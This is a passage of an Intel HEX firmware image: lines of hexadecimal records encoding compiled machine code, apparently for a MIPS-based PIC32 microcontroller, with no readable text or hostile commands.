1078f0000000000050de400b0000000004000424e3\n:10790000c80c410f0000000000a0023cdc564224dd\n:10791000e400428cfcff42242120400001000524a9\n:107920009e0c410f0000000000a0023cdc564224e7\n:10793000e400428c21204000c80c410f00000000f0\n:107940001800c28f010042241800c2af1800c28f75\n:1079500000004290dcff40140000000000a0023c48\n:10796000dc564224f400428c21204000c80c410f18\n:107970000000000021e8c0031400bf8f1000be8f7c\n:107980001800bd270800e00300000000e8ffbd2745\n:107990001400bfaf1000beaf21f0a0031800c4afa9\n:1079a0001800c48f01000524bfde400f0000000056\n:1079b00021e8c0031400bf8f1000be8f1800bd2740\n:1079c0000800e00300000000d8ffbd272400bfaf7f\n:1079d0002000beaf21f0a0031000a0af1400a0afa4\n:1079e0001800a0af059d023cc0094424ffff0524f8\n:1079f00001000624059d023cc80947240fdd400f05\n:107a00000000000021e8c0032400bf8f2000be8fcb\n:107a10002800bd270800e00300000000b0ffbd27dc\n:107a20004c00bfaf4800beaf21f0a0032110800082\n:107a30005400c5af5800c6af5000c2a35000c28367\n:107a40001000a0af1400a0af3c0503241800a3afa2\n:107a5000059d033cd409642421284000010006242c\n:107a60005400c78f0fdd400f000000002000c2afa0\n:107a70005800c28f040040140000000001000224de\n:107a8000b9de400b000000005000c2932400c32761\n:107a90002120600021284000bfde400f00000000d0\n:107aa000040040140000000021100000b9de400b6b\n:107ab000000000002400c227212040005400c58f90\n:107ac00008000624d352410f0000000004004010bb\n:107ad0000000000021100000b9de400b0000000093\n:107ae0000100022421e8c0034c00bf8f4800be8f74\n:107af0005000bd270800e00300000000d8ffbd27ac\n:107b00002400bfaf2000beaf21f0a0032800c4af07\n:107b10002110a0002c00c2a32c00c283010003246a\n:107b20001000a3af2800c38f1400a3af1800a0afac\n:107b3000059d033cdc09642421284000213000001d\n:107b4000213800000fdd400f0000000021e8c003d5\n:107b50002400bf8f2000be8f2800bd270800e0034f\n:107b600000000000e8ffbd271400beaf21f0a00315\n:107b70001800c4af1c00c5af0400c0a30500c0a31b\n:107b80000600c0a30700c0a30800c0a30900c0a34b\n:107b90000a00c0a30b00c0a30000c0a319df400b64\n:107ba000000000000200c0a30200c2930100c2a3b3\n:107bb0000adf400b000000001c00c28f0000439051\n:107bc0001800c28f000043a01c00c28f0000439029\n:107bd0000200c293211062000200c2a30100c293fe\n:107be0000100c3932118c303040064901c00c38fd9\n:107bf0000000639021188300ff0063302110c2034e\n:107c0000040043a00100c293010042240100c2a36a\n:107c10001c00c28f010042241c00c2af1800c28f9a\n:107c2000010042241800c2af0100c2930800422c98\n:107c3000e1ff4014000000000200c2930100423046\n:107c4000ff0043301800c28f000043a00000c29321\n:107c5000010042240000c2a31800c28f0100422488\n:107c60001800c2af0000c2930400422ccdff4014a4\n:107c7000000000000000c0a32ddf400b000000004a\n:107c80000000c2932110c203040042900100423060\n:107c9000ff0043301800c28f000043a00000c293d1\n:107ca000010042240000c2a31800c28f0100422438\n:107cb0001800c2af0000c2930800422cf0ff40142d\n:107cc000000000001800c28f000040a021e8c0039f\n:107cd0001400be8f1800bd270800e003000000005c\n:107ce000b8ffbd274400bfaf4000beaf21f0a003e6\n:107cf0004800c4af4c00c5af1400c0a31500c0a31a\n:107d00001600c0a31700c0a31800c0a31900c0a389\n:107d10001a00c0a31b00c0a31000c0a371df400b5a\n:107d2000000000001000c293c01002001c00c32716\n:107d3000212062001000c39321106000c0100200d7\n:107d4000211043004c00c38f211062002128400005\n:107d500008000624494a410f000000001000c293a9\n:107d6000c01002001c00c327211062002120400027\n:107d70002128000008000624ffbc400f000000007e\n:107d8000212040001000c39321106000c0100200a9\n:107d900021104300080042244c00c38f21106200d0\n:107da000000042900400821000000000211000003a\n:107db000c8df400b000000001000c2930100422405\n:107dc0001000c2a31000c2930400422cd5ff40143f\n:107dd000000000001000c0a396df400b0000000070\n:107de0001100c0a38fdf400b000000001100c29300\n:107df0001100c3931000c42721188300040064906d\n:107e00001000c393c02803001100c3932118a300de\n:107e10001000c5272118a3000c00639021188300cf\n:107e2000ff0063301000c42721108200040043a02b\n:107e30001100c293010042241100c2a31100c29399\n:107e40000800422ce9ff4014000000001000c2931b\n:107e5000010042241000c2a31000c2930400422c6f\n:107e6000dfff4014000000001000c0a3b0df400b93\n:107e7000000000001000c2931000c3272110620010\n:107e80000400429001004230ff0043301000c293d2\n:107e9000240042244c00c48f211082000000429034\n:107ea000040062100000000021100000c8df400b39\n:107eb000000000001000c293010042241000c2a381\n:107ec0001000c2930800422ceaff4014000000009a\n:107ed0004c00c28f2c00422400004290040040104d\n:107ee0000000000021100000c8df400b000000006f\n:107ef0001c00c2272120400020000524abbc400ffd\n:107f0000000000001c00c2274800c48f2128400048\n:107f10002000062463b9400f000000000100022485\n:107f200021e8c0034400bf8f4000be8f4800bd273a\n:107f30000800e00300000000e0ffbd271c00bfaf09\n:107f40001800beaf21f0a0032000c4af2400c5afcd\n:107f50002400c48fa9b7400f000000001000c2af7a\n:107f6000059d023ce4094424059d023ce8094524a2\n:107f70002013410f000000002400c28f0000428047\n:107f80004d00401000000000059d023c040a4424fe\n:107f90002400c58f2013410f000000001000c38f84\n:107fa0000700023c00fe423424106200421202002c\n:107fb000059d033c100a6424212840008513410fcd\n:107fc000000000001000c28f600042304211020029\n:107fd000059d033c340a6424212840008513410f89\n:107fe000000000001000c28f600042304219020001\n:107ff00000a0023c80180300947242242110620009\n:108000000000428c059d033c540a64242128400052\n:108010002013410f000000001000c28f1e004230ec\n:1080200042100200059d033c5c0a642421284000a4\n:108030008513410f000000001000c28f1e00423067\n:108040004218020008000224070062140000000029\n:10805000059d023c7c0a44242013410f00000000cf\n:108060002ce0400b000000001000c28f1e004230c8\n:1080700042180200090002240700621400000000f8\n:10808000059d023c880a44242013410f0000000093\n:108090002ce0400b00000000059d023c940a4424a3\n:1080a0002013410f0000000034e0400b00000000ee\n:1080b00034e0400b00000000059d023ca00a44246f\n:1080c000059d023ca80a45242013410f0000000032\n:1080d000059d023cb40a4424059d023cd80a45246f\n:1080e0002013410f000000002000c48fa9b7400feb\n:1080f000000000001000c2af059d023ce40a4424c9\n:108100002000c58f2013410f000000001000c38f16\n:108110000004023c24106200821602000500401098\n:1081200000000000059d023c080b42244fe0400b7c\n:1081300000000000059d023c100b4224059d033cfd\n:10814000180b6424212840002013410f0000000078\n:108150001000c38f0001023c2410620002160200ce\n:108160000500401000000000059d023c080b422461\n:1081700060e0400b00000000059d023c100b422413\n:10818000059d033c380b6424212840002013410f37\n:10819000000000001000c38f8000023c2410620029\n:1081a000c21502000500401000000000059d023cc1\n:1081b000080b422471e0400b00000000059d023cca\n:1081c000100b4224059d033c580b642421284000d9\n:1081d0002013410f000000001000c38f1000023c6c\n:1081e000241062000215020005004010000000008b\n:1081f000059d023c080b422482e0400b0000000079\n:10820000059d023c100b4224059d033c780b642421\n:10821000212840002013410f000000001000c38ff0\n:108220000400023c24106200821402000500401089\n:1082300000000000059d023c080b422493e0400b27\n:1082400000000000059d023c100b4224059d033cec\n:10825000980b6424212840002013410f00000000e7\n:108260001000c38f0300023c00c04234241062009f\n:1082700082130200059d033cb80b642421284000b2\n:108280008513410f000000001000c28f0030423003\n:1082900002130200059d033cd80b642421284000f2\n:1082a0002013410f000000001000c28f0030423048\n:1082b000021b020000a0023c8018030084724224ca\n:1082c000211062000000428c059d033c540a642486\n:1082d000212840002013410f000000001000c28f31\n:1082e000c003423082110200059d033cf80b642458\n:1082f000212840002013410f000000001000c28f11\n:10830000c0034230821902000100022409006214f5\n:1083100000000000059d023c540a4424059d023cd7\n:10832000180c45242013410f00000000e1e0400b31\n:10833000000000001000c28fc0034230821902000a\n:10834000020002240900621400000000059d023ca6\n:10835000540a4424059d023c240c45242013410f5b\n:1083600000000000e1e0400b00000000059d023c21\n:10837000540a4424059d023ca00945242013410fc2\n:10838000000000001000c28f3f004230059d033cfa\n:108390002c0c6424212840008513410f00000000ac\n:1083a0001000c28f3f004230010042244010020002\n:1083b000059d033c4c0c6424212840008513410f8b\n:1083c000000000000100022421e8c0031c00bf8f50\n:1083d0001800be8f2000bd270800e0030000000049\n:1083e000e0ffbd271c00bfaf1800beaf21f0a00307\n:1083f0002000c4af2000c48fa9b7400f00000000c8\n:108400001000c2af00a0023cdc564224a400428c03\n:108410000800422c190040140000000000a0023c9b\n:10842000dc564224a400428c4100422c1300401030\n:10843000000000001000c38fc0ff02242418620057\n:1084400000a0023cdc564224a400428cfeff4224e1\n:10845000421002003f004230251062001000c2afff\n:1084600000a0023cdc564224cc00428c06004014a2\n:10847000000000002fe1400b000000002110000070\n:1084800064e1400b0000000000a0023cdc564224e6\n:10849000a0004390010002240800621400000000c4\n:1084a0001000c38f3ffc02242410620040004234bd\n:1084b0001000c2af44e1400b0000000000a0023ced\n:1084c000dc564224c400428c0e0040100000000024\n:1084d00000a0023cdc564224a0004390010002248c\n:1084e00008006214000000001000c38f3ffc02244b\n:1084f00024106200800042341000c2af44e1400bff\n:10850000000000002110000064e1400b00000000aa\n:1085100000a0023cdc564224b000428c4211020012\n:10852000050042240f00422c04004014000000000b\n:108530002110000064e1400b000000001000c38f18\n:10854000fcff023cff3f42342418620000a0023cc2\n:10855000dc564224b000428c421102000400422446\n:108560000f004230802302000300023c00c042346e\n:1085700024108200251062001000c2af2000c48fba\n:108580001000c58facb6400f0000000001000224af\n:1085900021e8c0031c00bf8f1800be8f2000bd273c\n:1085a0000800e00300000000e8ffbd271400bfaf93\n:1085b0001000beaf21f0a0031800c4af2110a0002e\n:1085c0001c00c2a31c00c2931600432c4400601080\n:1085d0000000000080180200049d023cf085422447\n:1085e000211062000000428c0800400000000000e2\n:1085f000e086039d4886039de086039de086039dfb\n:10860000e086039de086039de086039de086039d52\n:10861000e086039d7486039d7486039de086039d1a\n:10862000e086039de086039d7486039dbc86039dc2\n:10863000e086039de086039d9886039de086039d6a\n:10864000e086039d7486039d1800c48f059d023c3f\n:10865000540c452408000624494a410f000000003c\n:108660001800c48ff8e0400f00000000b9e1400b93\n:10867000000000001800c48f059d023c600c4524da\n:1086800008000624494a410f0000000001000224ae\n:10869000b9e1400b000000001800c48f059d023caa\n:1086a000540c452408000624494a410f00000000ec\n:1086b00001000224b9e1400b000000001800c48f43\n:1086c000059d023c6c0c452408000624494a410fd4\n:1086d0000000000001000224b9e1400b000000008e\n:1086e0002110000021e8c0031400bf8f1000be8fce\n:1086f0001800bd270800e00300000000b0ffbd2700\n:108700004c00bfaf4800beaf21f0a0035000c4af83\n:108710005400c5af2000c2272120400063de400f77\n:1087200000000000040040140000000021100000c0\n:10873000ebe1400b000000005400c28f00004280bb\n:108740000400401400000000059d023c780c422407\n:108750005400c2af1000a0af1400a0af1800a0af2b\n:10876000059d023c840c4424ffff052401000624df\n:108770005400c78f0fdd400f000000000a004010ba\n:10878000000000005000c28f4f000324000043a0ef\n:108790004b000324010043a0020040a0010002247a\n:1087a000ebe1400b000000002110000021e8c003b5\n:1087b0004c00bf8f4800be8f5000bd270800e0036b\n:1087c00000000000c0ffbd273c00bfaf3800beafb7\n:1087d00021f0a0034000c4af4400c5af2118c00081\n:1087e0004c00c7af5400c28f4800c3a33000c2a3df\n:1087f0004800c29300a0033cdc5663249c00688cb4\n:1088000000a0033cdc566324e000638c30000424a9\n:108810002338830000a0033cdc566324e400668c0c\n:1088200000a0033cdc566324e800658c00a0033cf8\n:10883000dc566324e000648c00a0033cdc56632417\n:10884000f400638c040009241000a9af1400a8af41\n:108850001800a7af1c00a0af2000a6af2400a5af52\n:108860002800a4af2c00a3af4400c48f21284000ef\n:108870004c00c68f01000724313b410f000000006f\n:108880000400401400000000211000007ee2400bb4\n:10889000000000003000c2930400401400000000fb\n:1088a000010002247ee2400b0000000001000424cd\n:1088b000ff0d410f000000003de2400b00000000f2\n:1088c00021200000ff0d410f000000002118400092\n:1088d00000a0023cdc5642248c00428c2b1043004a\n:1088e0000400401000000000211000007ee2400b58\n:1088f0000000000088bf023cd060428c0001423082\n:10890000efff4014000000000a000224448282a30a\n:1089100000a0023cdc5642249c00448c00a0023c97\n:10892000dc564224a400458c3000c3935000c28f13\n:10893000060040100000000000a0023cdc5642246b\n:10894000bc00429054e2400b0000000021100000e7\n:1089500000a0063cdc56c6248c00c68c00a0073c58\n:108960009957e7241000a7af1400a2af1800a6afd4\n:10897000010002241c00a2af010002242000a2afcb\n:108980004000c68f21386000a9ff400f00000000a2\n:10899000211840003000c29316006214000000004d\n:1089a00000a0023cdc5642249c00438c00a0023c08\n:1089b000dc564224f800428c1800620012200000ad\n:1089c0003400c4afeb51023c1f8542343400c38fe6\n:1089d0001900620010100000421102002120400026\n:1089e000400e410f00000000010002247ee2400b17\n:1089f000000000002110000021e8c0033c00bf8ff0\n:108a00003800be8f4000bd270800e00300000000d2\n:108a1000b0ffbd274c00bfaf4800beaf21f0a003a0\n:108a20005000c4afe00c410f0000000000a0023c69\n:108a3000dc5642249c00438c00a0023cdc564224bd\n:108a4000ec00428c18006200122000004000c4af0d\n:108a5000eb51023c1f8542344000c38f1900620075\n:108a6000101000004211020021204000400e410f72\n:108a70000000000000a0023cdc5642249c00438c15\n:108a800000a0023cdc564224f000428c1800620038\n:108a9000122000004000c4afeb51023c1f8542345d\n:108aa0004000c38f19006200101000004211020044\n:108ab00021204000400e410f000000000100022470\n:108ac0001000a2af400002241400a2af1800c22779\n:108ad00021204000059d023ca8f645240200062402\n:108ae00021380000f1e1400f0000000009004010b3\n:108af000000000005000c48f1800c2272128400049\n:108b00007f49410f0000000001000224c6e2400b33\n:108b1000000000002110000021e8c0034c00bf8fbe\n:108b20004800be8f5000bd270800e0030000000091\n:108b3000b0ffbd274c00bfaf4800beaf21f0a0037f\n:108b40005000c4af2110a0005400c2a31900c0a35c\n:108b50005400c2930800422c04004014000000009e\n:108b6000211000002be3400b000000001c00c22776\n:108b70002120400021280000270006246551410fd4\n:108b8000000000001c00c22721204000059d023c7f\n:108b9000acf6452402000624494a410f00000000bb\n:108ba0009c80828f140040100000000031000224dd\n:108bb0001e00c2a31c00c227030042242120400043\n:108bc00000a0023cc872452446b9400f00000000d6\n:108bd0005400c2931c00c32722006324212060009c\n:108be0002128400003000624e2b6400f00000000e8\n:108bf00008e3400b00000000300002241e00c2a366\n:108c00005400c2931c00c32703006324212060008a\n:108c10002128400003000624e2b6400f00000000b7\n:108c200000a0023cdc564224d400428c1800c2a3af\n:108c300025e3400b000000001c00c227212040005b\n:108c4000a34a410f00000000ff00423021184000fd\n:108c50001900c2931c00c5271000a0af20000424f7\n:108c60001400a4af5000c48f2130600021384000b0\n:108c7000f1e1400f0000000004004010000000007f\n:108c8000010002242be3400b00000000010002243d\n:108c90001900c2a31800c293ffff43241800c3a306\n:108ca000e5ff4014000000002110000021e8c0038f\n:108cb0004c00bf8f4800be8f5000bd270800e00366\n:108cc0000000000088ffbd277400bfaf7000beaf7a\n:108cd00021f0a003211080007c00c5af8000c6af4a\n:108ce0008400c7af7800c2a37800c2930800422c6a\n:108cf000040040140000000021100000c2e3400bfb\n:108d0000000000001c00c227212040002128000094\n:108d1000470006246551410f000000001c00c227d7\n:108d200021204000059d023cacf6452402000624ab\n:108d3000494a410f00000000020002241800c2a3ab\n:108d40009c80828f0c004010000000001800c2932d\n:108d50001c00c327211062002120400000a0023c1b\n:108d6000c872452446b9400f000000001800c293a5\n:108d7000200042241800c2a31800c2931c00c3277d\n:108d800021106200212040008000c58f01000624d0\n:108d9000e2b6400f000000001800c2930100422418\n:108da0001800c2a31800c2931c00c3272110620040\n:108db000212040007c00c58f46b9400f0000000014\n:108dc0001800c293200042241800c2a31800c293c6\n:108dd0001c00c327211862007800c2932120600084\n:108de0002128400003000624e2b6400f00000000e6\n:108df0001800c293030042241800c2a31c00c2271b\n:108e000021204000a34a410f00000000ff00423033\n:108e10001c00c3271000a0af1400a0af2120000049\n:108e2000212860002130400021380000f1e1400f8e\n:108e300000000000040040140000000021100000a9\n:108e4000c2e3400b0000000000a0023cdc564224bc\n:108e5000f400428ce803432400a0023cdc56422488\n:108e60009c00428c18006200122000006800c4af11\n:108e7000eb51023c1f8542346800c38f1900620029\n:108e8000101000004211020021204000400e410f4e\n:108e9000000000008400c28f0400401400000000a5\n:108ea00001000224c2e3400b000000007800c293de\n:108eb0001c00c3272120600021284000cce2400f85\n:108ec0000000000004004014000000002110000019\n:108ed000c2e3400b000000001c00c227212040001c\n:108ee0007c00c58f08000624d352410f000000000b\n:108ef000040040100000000021100000c2e3400bfd\n:108f0000000000000100022421e8c0037400bf8fac\n:108f10007000be8f7800bd270800e003000000004d\n:108f200098ffbd276400bfaf6000beaf21f0a00373\n:108f30006800c4af1400c0af300002241100c2a307\n:108f40001ee4400b00000000100002241200c2a327\n:108f500017e4400b00000000080002241000c2a328\n:108f600010e4400b000000004715410f0000000016\n:108f700004004010000000001400c28f29e4400be0\n:108f8000000000001000c39300a0023cdc56422405\n:108f9000e00043ac1100c39300a0023cdc56422425\n:108fa000e80043ac1200c39300a0023cdc5642240c\n:108fb000e40043ac1800c22721204000f82b410fe9\n:108fc000000000001b004010000000001000c293d1\n:108fd000059d033cb0f66424212840008513410f11\n:108fe000000000001100c293059d033cbcf6642400\n:108ff000212840008513410f000000001200c29399\n:10900000059d033cc8f66424212840008513410fc8\n:10901000000000001800c227059d033cd4f664241c\n:10902000212840002013410f00000000010002240d\n:109030001400c2af1000c293010042241000c2a36a\n:109040001000c2931f00422cc7ff40140000000014\n:109050001200c293010042241200c2a31200c29364\n:109060002000422cbcff4014000000001100c293fd\n:10907000010042241100c2a31100c2934000422cff\n:10908000b1ff401400000000059d023ce0f64424be\n:10909000059d023ce4f645242013410f000000002a\n:1090a0001400c28f21e8c0036400bf8f6000be8f30\n:1090b0006800bd270800e00300000000e0ffbd27b6\n:1090c0001c00bfaf1800beaf21f0a0032000c4af4a\n:1090d0002400c5af2000c48fa9b7400f00000000d6\n:1090e0001000c2af059d023ce8f644242000c58f65\n:1090f0002013410f000000001000c28f0217020071\n:10910000059d033c08f76424212840008513410f86\n:10911000000000001000c28f021f0200060002249f\n:109120000900621400000000059d023c24f744245d\n:10913000059d023c2cf745242013410f0000000040\n:1091400065e4400b000000001000c28f021f020007\n:10915000090002240900621400000000059d023c81\n:1091600024f74424059d023c40f745242013410f79\n:109170000000000065e4400b00000000059d023c7b\n:1091800024f74424059d023c50f745242013410f49\n:10919000000000001000c38f0200023c2410620097\n:1091a000421402001400c2af1400c28f0500401028\n:1091b00000000000059d023c60f7422473e4400b70\n:1091c00000000000059d023c68f74224059d033c19\n:1091d00070f76424212840002013410f0000000094\n:1091e0001400c28f70004010000000001000c38ff8\n:1091f000fc00023c2410620082140200059d033c26\n:109200008cf76424212840008513410f00000000e2\n:109210001000c38ffc00023c241062008214020084\n:109220000100422440100200059d033ca8f764247d\n:10923000212840008513410f000000001000c38f5b\n:109240000100023c00f042342410620002130200cc\n:10925000059d033cb4f76424212840008513410f89\n:10926000000000001000c38f0100023c00f04234f7\n:1092700024106200021302000900422c290040144d\n:10928000000000001000c38f0100023c00f04234d7\n:1092900024106200021b0200100002240900621464\n:1092a00000000000059d023c24f74424059d023c7b\n:1092b000d0f745242013410f00000000d8e4400bf4\n:1092c000000000001000c38f0100023c00f0423497\n:1092d00024106200021b020018000224090062141c\n:1092e00000000000059d023c24f74424059d023c3b\n:1092f000e0f745242013410f00000000d8e4400ba4\n:1093000000000000059d023c24f74424059d023c1a\n:10931000f0f745242013410f00000000d8e4400b73\n:10932000000000001000c38f0100023c00f0423436\n:1093300024106200021b020000a0023c80180300ff\n:10934000b8714224211062000000428c059d033c4c\n:1093500024f76424212840002013410f000000005e\n:109360001000c28f08004230c210020005004010f9\n:1093700000000000059d023c60f74224e3e4400b3e\n:1093800000000000059d023c68f74224059d033c57\n:10939000f8f76424212840002013410f000000004a\n:1093a00049e5400b000000001000c38f1c00023c88\n:1093b0002410620082140200059d033c8cf7642493\n:1093c000212840008513410f000000001000c38fca\n:1093d0001c00023c24106200821c0200059d023c1d\n:1093e000ac5f42242110620000004290059d033cc6\n:1093f000a8f76424212840008513410f00000000d5\n:109400001000c38f0100023c00f0423424106200bf\n:1094100002130200059d033cb4f764242128400098\n:109420008513410f000000001000c38f0100023cb3\n:1094300000f0423424106200021302000900422ca2\n:1094400019004014000000001000c38f0100023c0e\n:1094500000f0423424106200021b020010000224bb\n:109460000900621400000000059d023c24f744241a\n:10947000059d023cd0f745242013410f0000000059\n:1094800039e5400b00000000059d023c24f7442410\n:10949000059d023c10f845242013410f00000000f8\n:1094a00039e5400b000000001000c38f0100023cb2\n:1094b00000f0423424106200021b020000a0023cb3\n:1094c00080180300b8714224211062000000428c11\n:1094d000059d033c24f76424212840002013410ffc\n:1094e000000000001000c28f08004230c2100200cd\n:1094f0000500401000000000059d023c60f742247a\n:1095000044e5400b00000000059d023c68f7422442\n:10951000059d033c24f86424212840002013410fba\n:10952000000000001000c28f000c423082120200c6\n:10953000059d033c40f86424212840008513410f19\n:10954000000000001000c28f000c423082120200a6\n:109550000300422c0900401400000000059d023c5d\n:1095600024f74424059d023c5cf845242013410f58\n:109570000000000069e5400b000000001000c28ff1\n:10958000000c42308212020001004224401002000e\n:10959000059d033ca8f76424212840008513410f52\n:1095a000000000001000c28fe000423042110200b3\n:1095b000059d033c68f86424212840008513410f71\n:1095c000000000001000c28f000242304212020070\n:1095d0000500401000000000059d023c60f7422499\n:1095e0007ce5400b00000000059d023c68f742242a\n:1095f000059d033c84f86424212840002013410f7a\n:10960000000000001000c28f000142300212020070\n:109610000500401000000000059d023c60f7422458\n:109620008ce5400b00000000059d023c68f74224d9\n:10963000059d033ca0f86424212840002013410f1d\n:10964000000000001000c28f100042300211020022\n:109650000500401000000000059d023c60f7422418\n:109660009ce5400b00000000059d023c68f7422489\n:10967000059d033cbcf86424212840002013410fc1\n:10968000000000001000c28f04004230821002006f\n:109690000500401000000000059d023c60f74224d8\n:1096a000ace5400b00000000059d023c68f7422439\n:1096b000059d033cd8f86424212840002013410f65\n:1096c000000000001000c28f020042304210020071\n:1096d0000500401000000000059d023c60f7422498\n:1096e000bce5400b00000000059d023c68f74224e9\n:1096f000059d033cf4f86424212840002013410f09\n:10970000000000001000c28f010042300500401030\n:1097100000000000059d023c60f74224cbe5400bb1\n:1097200000000000059d023c68f74224059d033cb3\n:1097300010f96424212840002013410f000000008c\n:10974000059d023c2cf944242400c58f2013410fb1\n:10975000000000002400c48f0400052478b7400fe7\n:1097600000000000059d023ce0f64424059d023cfb\n:10977000e4f645242013410f0000000001000224fc\n:1097800021e8c0031c00bf8f1800be8f2000bd273a\n:109790000800e00300000000e0ffbd271c00bfaf91\n:1097a0001800beaf21f0a0032000c4af2000c48f7a\n:1097b000a9b7400f000000001000c2af1600c0a300\n:1097c00000a0023cdc564224c800428c030040103a\n:1097d00000000000010002241600c2a31400c0a370\n:1097e0001500c0a30ce6400b0000000000a0023ce6\n:1097f000dc564224a400438c1400c493059d023c13\n:10980000ac5f4224211082000000429005006214e7\n:1098100000000000010002241500c2a310e6400b66\n:10982000000000001400c293010042241400c2a3ef\n:109830001400c2930800422cecff4014000000000a\n:109840001500c29303004014000000000100022430\n:109850001600c2a31600c2931a00401000000000b8\n:109860001000c28f00d8437c0090023c251062009b\n:109870001000c2af1000c38f0200023c251062002e\n:109880001000c2af1000c38f03ff023cffff423441\n:109890002418620000a0023cdc564224a400428c42\n:1098a000feff42244210020080240200fc00023c21\n:1098b00024108200251062001000c2af3ce6400b6d\n:1098c000000000001000c38fe3ff023cffff4234a2\n:1098d000241862001400c29380140200212040006a\n:1098e0001c00023c24108200251062001000c2af50\n:1098f00000a0023cdc564224a800428c0c00401020\n:10990000000000001000c38ffff30224241862003f\n:1099100000a0023cdc564224a800428c82100200c7\n:1099200080120200000c4230251062001000c2af0d\n:1099300000a0023cdc564224cc00428c0b004010bc\n:109940000000000000a0023cdc564224a00043902e\n:109950000100022405006214000000000800022437\n:109960001500c2a398e6400b0000000000a0023cd6\n:10997000dc564224c400428c0b0040100000000062\n:1099800000a0023cdc564224a000439001000224c7\n:109990000500621400000000100002241500c2a39c\n:1099a00098e6400b0000000000a0023cdc56422478\n:1099b000a00042900700432c260060100000000029\n:1099c00080180200049d023cdc99422421106200b0\n:1099d0000000428c0800400000000000549a039de3\n:1099e000f899039d049a039d149a039d249a039d5c\n:1099f000349a039d449a039d1500c0a398e6400b3a\n:109a000000000000040002241500c2a398e6400be9\n:109a100000000000050002241500c2a398e6400bd8\n:109a200000000000010002241500c2a398e6400bcc\n:109a300000000000020002241500c2a398e6400bbb\n:109a400000000000030002241500c2a398e6400baa\n:109a50000000000021100000b4e6400b00000000f0\n:109a60001000c38ffeff023cff0f42342418620037\n:109a70001500c29300130200212040000100023ca7\n:109a800000f0423424108200251062001000c2afa2\n:109a90001000c38f1fff02242418620000a0023ca4\n:109aa000dc564224b000428c4211020040110200f8\n:109ab000ff004230251062001000c2af2000c48faa\n:109ac0001000c58facb6400f00000000010002245a\n:109ad00021e8c0031c00bf8f1800be8f2000bd27e7\n:109ae0000800e00300000000e8ffbd271400bfaf3e\n:109af0001000beaf21f0a0031800c4af2110a000d9\n:109b00001c00c2a31c00c2931600432c600060100e\n:109b10000000000080180200049d023c309b42249b\n:109b2000211062000000428c08004000000000008c\n:109b3000909c039d889b039d889b039d889b039d10\n:109b4000889b039d889b039d889b039d909c039d00\n:109b5000909c039d489c039d909c039db89b039df6\n:109b6000009c039d249c039d489c039ddc9b039dbe\n:109b70006c9c039db89b039d909c039d909c039db2\n:109b8000909c039d489c039d1800c48f059d023c3a\n:109b90004cf9452408000624494a410f0000000002\n:109ba0001800c48fe6e5400f000000000100022409\n:109bb00025e7400b000000001800c48f059d023c03\n:109bc00058f9452408000624494a410f00000000c6\n:109bd0000100022425e7400b000000001800c48f9c\n:109be000059d023c64f9452408000624494a410fba\n:109bf000000000000100022425e7400b00000000e7\n:109c00001800c48f059d023c70f945240800062405\n:109c1000494a410f000000000100022425e7400be3\n:109c2000000000001800c48f059d023c7cf945240b\n:109c300008000624494a410f0000000001000224e8\n:109c400025e7400b000000001800c48f059d023c72\n:109c500088f9452408000624494a410f0000000005\n:109c60000100022425e7400b000000001800c48f0b\n:109c7000059d023c94f9452408000624494a410ff9\n:109c8000000000000100022425e7400b0000000056\n:109c90002110000021e8c0031400bf8f1000be8f08\n:109ca0001800bd270800e00300000000e8ffbd2702\n:109cb0001400bfaf1000beaf21f0a00300a0023c13\n:109cc000d857442421280000081206246551410f6a\n:109cd0000000000021e8c0031400bf8f1000be8ff9\n:109ce0001800bd270800e00300000000d0fdbd27dc\n:109cf0002c02bfaf2802beaf21f0a00300a0023c9f\n:109d0000d85742902118400000a0023c8018030060\n:109d100018714224211062000000428c059d033c12\n:109d2000283e6424212840002013410f0000000039\n:109d300000a0023cd8574224010042902118400064\n:109d400000a0023c80180300187142242110620018\n:109d50000000428c059d033c403e642421284000c5\n:109d60002013410f00000000059d023c5c3e44248e\n:109d700000a0023cda5745242013410f00000000e8\n:109d800000a0023cd8574224010042900600401433\n:109d90000000000000a0023cd85742901000c2a36f\n:109da0006ee7400b0000000000a0023cd8574224a0\n:109db000010042901000c2a31000c2931400c327f8\n:109dc0002120600000a0033cda57652421304000c8\n:109dd0007e2c410f00000000040040100000000035\n:109de0001400c2277de7400b00000000059d023ce7\n:109df000783e4224059d033c843e64242128400093\n:109e00002013410f0000000000a0023cd8574290f0\n:109e10001802c3272120600021284000cb25410fd4\n:109e2000000000004100401000000000059d023cc1\n:109e3000a03e4424059d023ca43e45242013410f2e\n:109e4000000000001c02c0af00a0023cd8574290a6\n:109e50001c02c32721206000212840004a26410f10\n:109e6000000000002002c0af00a0023cd857429082\n:109e70002002c32721206000212840007d26410fb9\n:109e80000000000000a0023cd85742240412438c7a\n:109e90001802c28f1800620012180000821003001e\n:109ea0000002432400a0023cd85742242110620043\n:109eb0000300442400a0023cd85742240412438cdf\n:109ec0001c02c28f180062001218000082100300ea\n:109ed0000002432400a0023cd85742242110620013\n:109ee0000300452400a0023cd85742240412438cae\n:109ef0002002c28f180062001218000082100300b6\n:109f00000002432400a0023cd857422421106200e2\n:109f10000300432400a0023cd85742902130600047\n:109f2000213840003927410f0000000000a0023c0a\n:109f3000d857422403124290090040140000000048\n:109f4000059d023ca03e4424059d023ca43e4524c0\n:109f50002013410f000000001de8400b000000002e\n:109f6000059d023ca03e4424059d023cac3e452498\n:109f70002013410f0000000000a0023cd8574224eb\n:109f80000412428c821002001000c32721106200cc\n:109f9000040040a01802c0af0fe8400b0000000012\n:109fa00000a0023cd85742240412438c1802c28fee\n:109fb00018006200121800008210030000024324ff\n:109fc00000a0023cd8574224211062000300432421\n:109fd00000a0023cd85742240412428c8210020096\n:109fe0001400c4272128600021304000494a410f55\n:109ff000000000001400c2930d004010000000009b\n:10a000001802c28f059d033cc43e642421284000f1\n:10a010008513410f000000001400c227059d033c7a\n:10a02000a03e6424212840002013410f00000000be\n:10a030001802c28f010042241802c2af00a0023ce5\n:10a04000d857422403124290211840001802c28fb0\n:10a050002b104300d2ff401400000000059d023c7d\n:10a06000a03e4424059d023ca43e45242013410ffc\n:10a070000000000021e8c0032c02bf8f2802be8f21\n:10a080003002bd270800e00300000000e0ffbd270c\n:10a090001c00bfaf1800beaf21f0a0032000c4af6a\n:10a0a0002000c48f52bf400f000000001000c2a368\n:10a0b0001000c293040040140000000021100000b2\n:10a0c00037e8400b000000001000c2932120400040\n:10a0d0003de8400f000000000100022421e8c00319\n:10a0e0001c00bf8f1800be8f2000bd270800e003b2\n:10a0f00000000000e8ffbd271400bfaf1000beaf96\n:10a1000021f0a003211080001800c2a32be7400f0c\n:10a110000000000000a0023c1800c393d85743a0e1\n:10a120001800c293212040007bbf400f00000000b